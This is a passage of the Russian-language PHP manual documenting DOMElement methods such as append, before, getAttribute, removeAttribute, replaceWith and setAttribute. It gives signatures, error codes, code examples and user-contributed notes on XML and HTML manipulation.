<?xml version="1.0"?>
<hello/>
beautiful
<world/>

Смотрите также

  • DOMChildNode::after() - Добавляет узлы после узла
  • DOMElement::before() - Добавляет узлы перед элементом

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы после последнего дочернего узла

  • « DOMElement::after
  • DOMElement::before »
  • PHP Manual
  • DOMElement
  • Добавляет узлы после последнего дочернего узла

DOMElement::append

(PHP 8)

DOMElement::append — Добавляет узлы после последнего дочернего узла

Описание

public DOMElement::append(DOMNode|string ...$nodes): void

Добавляет один или несколько узлов nodes в список дочерних узлов после последнего дочернего узла.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMElement::append()

Добавление узлов в элемент «container».

<?php
$doc = new DOMDocument;
$doc->loadXML("<container>hello </container>");
$world = $doc->documentElement;

$world->append("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container>hello beautiful<world/></container>

Смотрите также

  • DOMParentNode::append() - Добавляет узлы после последнего дочернего узла
  • DOMElement::prepend() - Добавляет узлы перед первым дочерним узлом

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы перед элементом

  • « DOMElement::append
  • DOMElement::__construct »
  • PHP Manual
  • DOMElement
  • Добавляет узлы перед элементом

DOMElement::before

(PHP 8)

DOMElement::before — Добавляет узлы перед элементом

Описание

public DOMElement::before(DOMNode|string ...$nodes): void

Добавляет переданные узлы nodes перед элементом.

Список параметров

nodes

Узлы, которые необходимо добавить перед узлом. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле, у которого нет родительского узла, теперь ничего не делает, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMElement::before()

Добавление узлов перед элементом «hello».

<?php
$doc = new DOMDocument;
$doc->loadXML("<world/>");
$world = $doc->documentElement;

$world->before("hello", $doc->createElement("beautiful"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

hello
<beautiful/>
<world/>

Смотрите также

  • DOMChildNode::before() - Добавляет узлы перед узлом
  • DOMElement::after() - Добавляет узлы после элемента

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр класса DOMElement

  • « DOMElement::before
  • DOMElement::getAttribute »
  • PHP Manual
  • DOMElement
  • Создаёт новый экземпляр класса DOMElement

DOMElement::__construct

(PHP 5, PHP 7, PHP 8)

DOMElement::__construct — Создаёт новый экземпляр класса DOMElement

Описание

public DOMElement::__construct(string $qualifiedName, ?string $value = null, string $namespace = "")

Создаёт новый объект класса DOMElement. Этот объект доступен только для чтения. Он может быть добавлен к документу, но дополнительные узлы в него нельзя добавить, пока узел не будет связан с документом. Чтобы создать записываемый узел, используйте DOMDocument::createElement или DOMDocument::createElementNS.

Список параметров

qualifiedName

Имя тега создаваемого элемента. Если также передаётся параметр namespaceURI, имя элемента может принимать префикс, который должен быть связан с URI.

value

Значение элемента.

namespace

URI пространства имён для создания элемента с определённым пространством имён.

Примеры

Пример #1 Создание нового DOMElement

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$element_ns = new DOMElement('pr:node1', 'thisvalue', 'http://xyz');
$element->appendChild($element_ns);
echo $dom->saveXML(); /* <?xml version="1.0" encoding="utf-8"?>
<root><pr:node1 xmlns:pr="http://xyz">thisvalue</pr:node1></root> */

?>

Смотрите также

  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён

User Contributed Notes

troelskn at gmail dot com 03-Jun-2008 07:46
Note that this function is buggy. You have to manually escape the $value argument with htmlspecialchars.
See: http://bugs.php.net/bug.php?id=31191


Возвращает значение атрибута

  • « DOMElement::__construct
  • DOMElement::getAttributeNames »
  • PHP Manual
  • DOMElement
  • Возвращает значение атрибута

DOMElement::getAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttribute — Возвращает значение атрибута

Описание

public DOMElement::getAttribute(string $qualifiedName): string

Возвращает значение атрибута с именем qualifiedName для текущего узла.

Список параметров

qualifiedName

Имя атрибута.

Возвращаемые значения

Значение атрибута или пустое значение, если атрибут с указанным именем qualifiedName не найден.

Смотрите также

  • DOMElement::hasAttribute() - Проверяет, существует ли атрибут
  • DOMElement::setAttribute() - Добавляет новый или изменяет существующий атрибут
  • DOMElement::removeAttribute() - Удаляет атрибут

User Contributed Notes

mpalmer at cybersource dot com 09-Nov-2007 03:32
- - - - - - - - - - - - - -

XML Data:
<data>
<Report ID="1">
    <Date>REVIEW</Date>
    <AuthorID>1</AuthorID>
</Report>
<Report ID="2">
    <Date>REVIEW</Date>
    <AuthorID>2</AuthorID>
</Report>
</data>

- - - - - - - - - - - - - -

<?php
$xmlDoc = new DOMDocument();
$xmlDoc->load( 'data.xml' );

$searchNode = $xmlDoc->getElementsByTagName( "Report" );

foreach( $searchNode as $searchNode )
{
    $valueID = $searchNode->getAttribute('ID');

    $xmlDate = $searchNode->getElementsByTagName( "Date" );
    $valueDate = $xmlDate->item(0)->nodeValue;

    $xmlAuthorID = $searchNode->getElementsByTagName( "AuthorID" );
    $valueAuthorID = $xmlAuthorID->item(0)->nodeValue;

    echo "$valueID - $valueDate - $valueAuthorID\n";
}
?>

- - - - - - - - - - - - - -

Output:

1 - REVIEW - 1
2 - REVIEW - 2

- - - - - - - - - - - - - -


Получает имена атрибутов

  • « DOMElement::getAttribute
  • DOMElement::getAttributeNode »
  • PHP Manual
  • DOMElement
  • Получает имена атрибутов

DOMElement::getAttributeNames

(PHP 8 >= 8.3.0)

DOMElement::getAttributeNames — Получает имена атрибутов

Описание

public DOMElement::getAttributeNames(): array

Получает имена атрибутов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает имена атрибутов.

Примеры

Пример #1 Пример использования метода DOMElement::getAttributeNames()

<?php

$dom = new DOMDocument();
$dom->loadXML('<html xmlns:some="some:ns" some:test="a" test2="b"/>');
var_dump($dom->documentElement->getAttributeNames());
?>

Результат выполнения приведённого примера:

array(3) {
 [0]=>
 string(10) "xmlns:some"
 [1]=>
 string(9) "some:test"
 [2]=>
 string(5) "test2"
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает узел атрибута

  • « DOMElement::getAttributeNames
  • DOMElement::getAttributeNodeNS »
  • PHP Manual
  • DOMElement
  • Возвращает узел атрибута

DOMElement::getAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttributeNode — Возвращает узел атрибута

Описание

public DOMElement::getAttributeNode(string $qualifiedName): DOMAttr|DOMNameSpaceNode|false

Возвращает узел атрибута с именем qualifiedName для текущего элемента.

Список параметров

qualifiedName

Имя атрибута.

Возвращаемые значения

Узел атрибута. Обратите внимание, что для объявлений пространств имён XML (атрибуты xmlns и xmlns:*) возвращается экземпляр DOMNameSpaceNode, а не DOMAttr.

Смотрите также

  • DOMElement::hasAttribute() - Проверяет, существует ли атрибут
  • DOMElement::setAttributeNode() - Добавляет новый узел атрибута в элемент
  • DOMElement::removeAttributeNode() - Удаляет атрибут

User Contributed Notes

lowezar at gmail dot com 28-Feb-2011 08:22
It may also return DOMNameSpaceNode if you`re requesting 'xmlns:_prefix_'. So you`re unable to remove it with removeAttributeNode() which requires DOMAttr as parameter.
Alex 18-Feb-2009 08:33
Just trying to add some clarification: this function will return boolean "false" when there is not a $name attribute :)

Cheers, Alex


Возвращает узел атрибута

  • « DOMElement::getAttributeNode
  • DOMElement::getAttributeNS »
  • PHP Manual
  • DOMElement
  • Возвращает узел атрибута

DOMElement::getAttributeNodeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttributeNodeNS — Возвращает узел атрибута

Описание

public DOMElement::getAttributeNodeNS(?string $namespace, string $localName): DOMAttr|DOMNameSpaceNode|null

Возвращает узел атрибута в пространстве имён namespace с локальным именем localName для текущего узла.

Список параметров

namespace

URI пространства имён.

localName

Локальное имя.

Возвращаемые значения

Узел атрибута. Обратите внимание, что для объявлений пространств имён XML (атрибуты xmlns и xmlns:*) возвращается экземпляр DOMNameSpaceNode, а не объект DOMAttr.

Смотрите также

  • DOMElement::hasAttributeNS() - Проверяет, существует ли заданный атрибут
  • DOMElement::setAttributeNodeNS() - Добавляет новый атрибут в элемент
  • DOMElement::removeAttributeNode() - Удаляет атрибут

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение атрибута

  • « DOMElement::getAttributeNodeNS
  • DOMElement::getElementsByTagName »
  • PHP Manual
  • DOMElement
  • Возвращает значение атрибута

DOMElement::getAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttributeNS — Возвращает значение атрибута

Описание

public DOMElement::getAttributeNS(?string $namespace, string $localName): string

Получает значение атрибута в пространстве имён namespace с локальным именем localName для текущего узла.

Список параметров

namespace

URI пространства имён.

localName

Локальное имя.

Возвращаемые значения

Значение атрибута либо пустая строка, если атрибута с заданным локальным именем localName в пространстве имён namespace не найден.

Смотрите также

  • DOMElement::hasAttributeNS() - Проверяет, существует ли заданный атрибут
  • DOMElement::setAttributeNS() - Добавляет новый атрибут
  • DOMElement::removeAttributeNS() - Удаляет атрибут

User Contributed Notes

There are no user contributed notes for this page.


Возвращает элементы по имени тега

  • « DOMElement::getAttributeNS
  • DOMElement::getElementsByTagNameNS »
  • PHP Manual
  • DOMElement
  • Возвращает элементы по имени тега

DOMElement::getElementsByTagName

(PHP 5, PHP 7, PHP 8)

DOMElement::getElementsByTagName — Возвращает элементы по имени тега

Описание

public DOMElement::getElementsByTagName(string $qualifiedName): DOMNodeList

Эта функция возвращает новый экземпляр класса DOMNodeList - список всех элементов-потомков текущего узла с указанным именем тега qualifiedName, в том порядке, в котором они встречаются при обходе дерева.

Список параметров

qualifiedName

Имя тега. Используйте символ * для возврата всех элементов дерева.

Возвращаемые значения

Эта функция возвращает новый объект класса DOMNodeList - список всех подходящих элементов.

Смотрите также

  • DOMElement::getElementsByTagNameNS() - Получает элементы по локальному имени в заданном пространстве имён

User Contributed Notes

There are no user contributed notes for this page.


Получает элементы по локальному имени в заданном пространстве имён

  • « DOMElement::getElementsByTagName
  • DOMElement::hasAttribute »
  • PHP Manual
  • DOMElement
  • Получает элементы по локальному имени в заданном пространстве имён

DOMElement::getElementsByTagNameNS

(PHP 5, PHP 7, PHP 8)

DOMElement::getElementsByTagNameNS — Получает элементы по локальному имени в заданном пространстве имён

Описание

public DOMElement::getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList

Функция выбирает все элементы-потомки с заданным в параметре localName именем и пространством имён, указанном в параметре namespace.

Список параметров

namespace

URI пространства имён элементов для поиска. Специальное значение "*" соответствует всем пространствам имён. Передача значения null соответствует пустому пространству имён.

localName

Локальное имя элементов для поиска. Специальное значение "*" соответствует всем локальным именам.

Возвращаемые значения

Возвращает новый объект класса DOMNodeList, содержащий все найденные элементы в том порядке, в котором они появляются при прямом обходе дерева.

Список изменений

Версия | Описание
8.0.3 | namespace теперь допускает значение null.

Смотрите также

  • DOMElement::getElementsByTagName() - Возвращает элементы по имени тега

User Contributed Notes

spam at chovy dot com 03-Jun-2009 05:36
I had some difficulty stripping all default NS attributes for an ns-uri in one shot, the following will work though...first strip the documentElement namespace, then getElementsByTagNameNS() -- the documentation should reflect that the 2nd argument is actually the name of the tag, not the local namespace prefix as I first expected:

<?php

function strip_default_ns( $xml = null, $ns_uri = 'http://example.com/XML-Foo' ) {
    $ns_local = '';
    $ns_tag = '*';

    if ( empty($xml) ) return false;

    //remove document namespace
    $dom = new DOMDocument();
    $dom->loadXML($xml);
    $dom->documentElement->removeAttributeNS($ns_uri, $ns_local);

    //strip element namespaces
    foreach ( $dom->getElementsByTagNameNS($ns_uri, $ns_tag) as $elem ) {
        $elem->removeAttributeNS($ns_uri, $ns_local);
    }

    return $dom->saveXML();
}

$stripped_xml = strip_default_ns($the_xml);

?>

$stripped_xml can now take advantage of running XPath queries on it for the NULL namespace.


Проверяет, существует ли атрибут

  • « DOMElement::getElementsByTagNameNS
  • DOMElement::hasAttributeNS »
  • PHP Manual
  • DOMElement
  • Проверяет, существует ли атрибут

DOMElement::hasAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::hasAttribute — Проверяет, существует ли атрибут

Описание

public DOMElement::hasAttribute(string $qualifiedName): bool

Проверяет наличие атрибута с именем, указанным в параметре qualifiedName текущего элемента.

Список параметров

qualifiedName

Имя атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMElement::hasAttributeNS() - Проверяет, существует ли заданный атрибут
  • DOMElement::getAttribute() - Возвращает значение атрибута
  • DOMElement::setAttribute() - Добавляет новый или изменяет существующий атрибут
  • DOMElement::removeAttribute() - Удаляет атрибут

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли заданный атрибут

  • « DOMElement::hasAttribute
  • DOMElement::insertAdjacentElement »
  • PHP Manual
  • DOMElement
  • Проверяет, существует ли заданный атрибут

DOMElement::hasAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::hasAttributeNS — Проверяет, существует ли заданный атрибут

Описание

public DOMElement::hasAttributeNS(?string $namespace, string $localName): bool

Показывает, существует ли атрибут в пространстве имён namespace с именем localName в составе элемента.

Список параметров

namespace

URI пространства имён.

localName

Локальное имя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMElement::hasAttribute() - Проверяет, существует ли атрибут
  • DOMElement::getAttributeNS() - Возвращает значение атрибута
  • DOMElement::setAttributeNS() - Добавляет новый атрибут
  • DOMElement::removeAttributeNS() - Удаляет атрибут

User Contributed Notes

There are no user contributed notes for this page.


Добавляет соседний элемент

  • « DOMElement::hasAttributeNS
  • DOMElement::insertAdjacentText »
  • PHP Manual
  • DOMElement
  • Добавляет соседний элемент

DOMElement::insertAdjacentElement

(PHP 8 >= 8.3.0)

DOMElement::insertAdjacentElement — Добавляет соседний элемент

Описание

public DOMElement::insertAdjacentElement(string $where, DOMElement $element): ?DOMElement

Добавляет элемент в относительную позицию, заданную параметром where.

Список параметров

where

  • beforebegin - Добавление перед целевым элементом.
  • afterbegin - Добавление в качестве первого дочернего элемента целевого элемента.
  • beforeend - Добавление в качестве последнего дочернего элемента целевого элемента.
  • afterend - Добавление после целевого элемента.

element

Элемент для добавления.

Возвращаемые значения

Возвращает DOMElement или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования метода DOMElement::insertAdjacentElement()

<?php

$dom = new DOMDocument();
$dom->loadXML('<?xml version="1.0"?><container><p>foo</p></container>');
$container = $dom->documentElement;
$p = $container->firstElementChild;

$p->insertAdjacentElement('beforebegin', $dom->createElement('A'));
echo $dom->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container><A/><p>foo</p></container>

Смотрите также

  • DOMElement::insertAdjacentText() - Добавляет соседний текст

User Contributed Notes

There are no user contributed notes for this page.


Добавляет соседний текст

  • « DOMElement::insertAdjacentElement
  • DOMElement::prepend »
  • PHP Manual
  • DOMElement
  • Добавляет соседний текст

DOMElement::insertAdjacentText

(PHP 8 >= 8.3.0)

DOMElement::insertAdjacentText — Добавляет соседний текст

Описание

public DOMElement::insertAdjacentText(string $where, string $data): void

Добавляет текст в относительную позицию, заданную параметром where.

Список параметров

where

  • beforebegin - Добавление перед целевым элементом.
  • afterbegin - Добавление в качестве первого дочернего элемента целевого элемента.
  • beforeend - Добавление в качестве последнего дочернего элемента целевого элемента.
  • afterend - Добавление после целевого элемента.

data

Строка для добавления.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования метода DOMElement::insertAdjacentText()

<?php

$dom = new DOMDocument();
$dom->loadXML('<?xml version="1.0"?><container><p>H</p></container>');

$container = $dom->documentElement;
$p = $container->firstElementChild;

$p->insertAdjacentText("afterbegin", "P");
$p->insertAdjacentText("beforeend", "P");

echo $dom->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container><p>PHP</p></container>

Смотрите также

  • DOMElement::insertAdjacentElement() - Добавляет соседний элемент

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы перед первым дочерним узлом

  • « DOMElement::insertAdjacentText
  • DOMElement::remove »
  • PHP Manual
  • DOMElement
  • Добавляет узлы перед первым дочерним узлом

DOMElement::prepend

(PHP 8)

DOMElement::prepend — Добавляет узлы перед первым дочерним узлом

Описание

public DOMElement::prepend(DOMNode|string ...$nodes): void

Добавляет один или несколько узлов nodes в список дочерних узлов перед первым дочерним узлом.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMElement::prepend()

Добавление узлов в элемент «container».

<?php
$doc = new DOMDocument;
$doc->loadXML("<container> world</container>");
$world = $doc->documentElement;

$world->prepend($doc->createElement("hello"), "beautiful");

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container><hello/>beautiful world</container>

Смотрите также

  • DOMParentNode::prepend() - Добавляет узлы перед первым дочерним узлом
  • DOMElement::append() - Добавляет узлы после последнего дочернего узла

User Contributed Notes

There are no user contributed notes for this page.


Удаляет элемент

  • « DOMElement::prepend
  • DOMElement::removeAttribute »
  • PHP Manual
  • DOMElement
  • Удаляет элемент

DOMElement::remove

(PHP 8)

DOMElement::remove — Удаляет элемент

Описание

public DOMElement::remove(): void

Удаляет элемент.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования метода DOMElement::remove()

Удаление элемента.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/><world/></container>");
$hello = $doc->documentElement->firstChild;

$hello->remove();

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container><world/></container>

Смотрите также

  • DOMElement::after() - Добавляет узлы после элемента
  • DOMElement::before() - Добавляет узлы перед элементом
  • DOMElement::replaceWith() - Заменяет элемент новыми узлами
  • DOMNode::removeChild() - Удаляет дочерний узел из списка потомков

User Contributed Notes

There are no user contributed notes for this page.


Удаляет атрибут

  • « DOMElement::remove
  • DOMElement::removeAttributeNode »
  • PHP Manual
  • DOMElement
  • Удаляет атрибут

DOMElement::removeAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::removeAttribute — Удаляет атрибут

Описание

public DOMElement::removeAttribute(string $qualifiedName): bool

Удаляет атрибут с именем qualifiedName из элемента.

Список параметров

qualifiedName

Имя атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если атрибут доступен только для чтения.

Смотрите также

  • DOMElement::hasAttribute() - Проверяет, существует ли атрибут
  • DOMElement::getAttribute() - Возвращает значение атрибута
  • DOMElement::setAttribute() - Добавляет новый или изменяет существующий атрибут

User Contributed Notes

suwayan at mail dot ru 30-Mar-2012 12:19
<?php
/*When I try to get a some attribute from not validated HTML or XML document, PHP dies with no errors in logs or output:
*/
        function is_attribute_value($obj,$type,$value)
        {
            $_ret=false;
            if($obj)
            {
                if($val=$obj->getAttribute($type))
                {
                    if($val==$value)
                    {
                        $_ret=true;
                    }
                }
            }
            return $_ret;
        }
//And this check helped to me:
        function is_attribute_value($obj,$type,$value)
        {
            $_ret=false;
            if($obj->attributes)
            {
                if($val=$obj->getAttribute($type))
                {
                    if($val==$value)
                    {
                        $_ret=true;
                    }
                }
            }
            return $_ret;
        }
?>
Rakesh Verma - rakeshnsony at gmail dot com 10-Nov-2010 11:38
<?php

//Store your html into $html variable.

$html="<html>
<head>
<title>Rakesh Verma</title>
</head>

<body>
    <a href='http://example.com'>Example</a>
    <a href='http://google.com'>Google</a>
    <a href='http://www.yahoo.com'>Yahoo</a>
</body>

</html>";

$dom = new DOMDocument();
$dom->loadHTML($html);

//Evaluate Anchor tag in HTML
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");

for ($i = 0; $i < $hrefs->length; $i++) {
        $href = $hrefs->item($i);
        $url = $href->getAttribute('href');

        //remove and set target attribute
        $href->removeAttribute('target');
        $href->setAttribute("target", "_blank");

        $newURL=$url.".au";

        //remove and set href attribute
        $href->removeAttribute('href');
        $href->setAttribute("href", $newURL);
}

// save html
$html=$dom->saveHTML();

echo $html;

?>


Удаляет атрибут

  • « DOMElement::removeAttribute
  • DOMElement::removeAttributeNS »
  • PHP Manual
  • DOMElement
  • Удаляет атрибут

DOMElement::removeAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::removeAttributeNode — Удаляет атрибут

Описание

public DOMElement::removeAttributeNode(DOMAttr $attr): DOMAttr|false

Удаляет узел атрибута attr из элемента.

Список параметров

attr

Узел атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

DOM_NOT_FOUND_ERROR

Возникает, если attr не является атрибутом элемента.

Смотрите также

  • DOMElement::hasAttribute() - Проверяет, существует ли атрибут
  • DOMElement::getAttributeNode() - Возвращает узел атрибута
  • DOMElement::setAttributeNode() - Добавляет новый узел атрибута в элемент

User Contributed Notes

xr07354 at gmx dot de 18-Jun-2013 01:16
Basic: I use PHP5.4.9 from Ubuntu 13.04 repository. The aim of my code is to iterate HTML source (as a DomDocument) recursively and cleanup everything that is not valid to be used inside Epub files (i.e. and attribute align is not valid for paragraphs in Epubs).

FIRST: Today I tried removing attributes from a DOMElement using this simple code:
<?php
for ( $k=0; $k < $element->attributes->length; $k++) {
    if( /* some rule */ ){
        var_dump( $element->attributes->item($k)->nodeName);
        $element->removeAttributeNode( $element->attributes->item($k));
    }
}
?>
Unfortunately all attributes still existed when this loop was finished, even if these var_dumps told me that deleting them was tried.

I solved this problem iterating the attributes list backward:
<?php
for ( $k = $element->attributes->length - 1; $k >= 0; --$k) {
    if( /* same rule */ ){
        var_dump( $element->attributes->item($k)->nodeName);
        $element->removeAttributeNode( $element->attributes->item($k));
    }
}
?>
SECOND: DOMElement::removeAttributeNode does NOT return a bool but a DOMAttr object.


Удаляет атрибут

  • « DOMElement::removeAttributeNode
  • DOMElement::replaceChildren »
  • PHP Manual
  • DOMElement
  • Удаляет атрибут

DOMElement::removeAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::removeAttributeNS — Удаляет атрибут

Описание

public DOMElement::removeAttributeNS(?string $namespace, string $localName): void

Удаляет атрибут localName в пространстве имён namespace из элемента.

Список параметров

namespace

URI пространства имён.

localName

Локальное имя.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

Смотрите также

  • DOMElement::hasAttributeNS() - Проверяет, существует ли заданный атрибут
  • DOMElement::getAttributeNS() - Возвращает значение атрибута
  • DOMElement::setAttributeNS() - Добавляет новый атрибут

User Contributed Notes

primaryspace at hotmail dot com 10-Aug-2005 12:56
This method can be used to remove a namespace declaration from an element, even though the declaration is not considered an attribute by the DOM.  The prefix will be removed from any element or attribute using it.

<?php

$dom = DOMDocument::loadXML('<foo:root xmlns:foo="http:bar"/>');
$element = $dom->childNodes->item(0);

// prints '0':
echo (int) $element->hasAttributeNS('http:bar', 'foo');

$element->removeAttributeNS('http:bar', 'foo');

/* prints '<?xml version="1.0"?> <root/>': */
print htmlentities($dom->saveXML());

?>


Заменяет дочерние элементы в элементе

  • « DOMElement::removeAttributeNS
  • DOMElement::replaceWith »
  • PHP Manual
  • DOMElement
  • Заменяет дочерние элементы в элементе

DOMElement::replaceChildren

(PHP 8 >= 8.3.0)

DOMElement::replaceChildren — Заменяет дочерние элементы в элементе

Описание

public DOMElement::replaceChildren(DOMNode|string ...$nodes): void

Заменяет дочерние элементы элемента новыми узлами nodes.

Список параметров

nodes

Узлы, которыми будут заменены потомки. Строки автоматически преобразовываются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMElement::replaceChildren()

Замена дочерних узлов новыми.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");
$container = $doc->documentElement;

$container->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
beautiful
<world/>

Смотрите также

  • DOMParentNode::replaceChildren() - Заменяет потомков в узле
  • DOMElement::replaceWith() - Заменяет элемент новыми узлами
  • DOMElement::after() - Добавляет узлы после элемента
  • DOMElement::before() - Добавляет узлы перед элементом
  • DOMElement::remove() - Удаляет элемент

User Contributed Notes

There are no user contributed notes for this page.


Заменяет элемент новыми узлами

  • « DOMElement::replaceChildren
  • DOMElement::setAttribute »
  • PHP Manual
  • DOMElement
  • Заменяет элемент новыми узлами

DOMElement::replaceWith

(PHP 8)

DOMElement::replaceWith — Заменяет элемент новыми узлами

Описание

public DOMElement::replaceWith(DOMNode|string ...$nodes): void

Заменяет элемент новыми узлами nodes.

Список параметров

nodes

Узлы для замены. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов метода на узле без родителя теперь запрещён, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMElement::replaceWith()

Замена элемента новыми узлами.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container>beautiful<world/></container>

Смотрите также

  • DOMChildNode::replaceWith() - Заменяет узел на новые узлы
  • DOMElement::replaceChildren() - Заменяет дочерние элементы в элементе
  • DOMElement::after() - Добавляет узлы после элемента
  • DOMElement::before() - Добавляет узлы перед элементом
  • DOMElement::remove() - Удаляет элемент

User Contributed Notes

There are no user contributed notes for this page.


Добавляет новый или изменяет существующий атрибут

  • « DOMElement::replaceWith
  • DOMElement::setAttributeNode »
  • PHP Manual
  • DOMElement
  • Добавляет новый или изменяет существующий атрибут

DOMElement::setAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttribute — Добавляет новый или изменяет существующий атрибут

Описание

public DOMElement::setAttribute(string $qualifiedName, string $value): DOMAttr|bool

Устанавливает атрибут с именем qualifiedName. Если атрибут не существует, то он будет создан.

Список параметров

qualifiedName

Имя атрибута.

value

Значение атрибута.

Возвращаемые значения

Созданный или изменённый объект класса DOMAttr или false в случае возникновения ошибки.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

Примеры

Пример #1 Установка значения атрибута

<?php
$doc = new DOMDocument("1.0");
$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);
$newnode->setAttribute("align", "left");
?>

Смотрите также

  • DOMElement::hasAttribute() - Проверяет, существует ли атрибут
  • DOMElement::getAttribute() - Возвращает значение атрибута
  • DOMElement::removeAttribute() - Удаляет атрибут

User Contributed Notes

info at ensostudio dot ru 02-Dec-2021 06:17
Solution to render HTML 5 tags with attributes with/without value:
<?php
$dom = new DOMImplementation();
